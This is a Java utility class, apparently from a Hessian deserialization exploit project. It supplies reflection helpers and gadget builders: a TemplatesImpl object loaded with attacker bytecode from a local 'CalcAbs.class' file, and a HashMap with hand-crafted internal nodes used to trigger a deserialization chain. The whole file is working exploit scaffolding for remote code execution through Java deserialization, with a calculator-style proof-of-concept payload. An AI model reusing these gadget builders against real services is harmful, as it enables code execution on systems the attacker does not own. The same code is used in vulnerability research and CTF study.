content: package com.hessian;
  
  import com.sun.org.apache.xalan.internal.xsltc.compiler.Template;
  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  
  import java.io.IOException;
  import java.lang.reflect.Array;
  import java.lang.reflect.Constructor;
  import java.lang.reflect.Field;
  import java.nio.file.Files;
  import java.nio.file.Paths;
  import java.util.HashMap;
  
  public class Tools {
      public static void setFieldValue(Object obj, String fieldName, Object value) throws IllegalAccessException {
          Class<?> aClass = obj.getClass();
          Field field = null;
          while (aClass != null) {
              try {
                  field = aClass.getDeclaredField(fieldName);
                  break;
              } catch (NoSuchFieldException e) {
                  aClass = aClass.getSuperclass();
              }
          }
          field.setAccessible(true);
          field.set(obj, value);
      }
  
      public static Object getFieldValue(Object obj, String fieldName){
          Class<?> aClass = obj.getClass();
          Field field = null;
          while (aClass != null) {
              try {
                  field = aClass.getDeclaredField(fieldName);
                  field.setAccessible(true);
                  return field.get(obj);
              } catch (NoSuchFieldException e) {
                  aClass = aClass.getSuperclass();
              } catch (IllegalAccessException e) {
                  throw new RuntimeException(e);
              }
          }
          return null;
      }
  
      public static TemplatesImpl getTemplatesImpl() throws IllegalAccessException, IOException {
          TemplatesImpl templatesImpl = new TemplatesImpl();
          setFieldValue(templatesImpl, "_class", null);
          setFieldValue(templatesImpl, "_name", "any");
          setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
          byte[] bytes = Files.readAllBytes(Paths.get("D://1tmp//classes//CalcAbs.class"));
          setFieldValue(templatesImpl, "_bytecodes", new byte[][] {bytes});
          return templatesImpl;
      }
  
      public static HashMap<Object, Object> makeMap (Object v1, Object v2 )
              throws Exception {
          HashMap<Object, Object> s = new HashMap<>();
          setFieldValue(s, "size", 2);
          Class<?> nodeC;
          try {
              nodeC = Class.forName("java.util.HashMap$Node");
          }
          catch ( ClassNotFoundException e ) {
              nodeC = Class.forName("java.util.HashMap$Entry");
          }
          Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class,
                  Object.class, Object.class, nodeC);
          nodeCons.setAccessible(true);
          Object tbl = Array.newInstance(nodeC, 2);
          Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
          Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
          setFieldValue(s, "table", tbl);
          return s;
      }
  }
  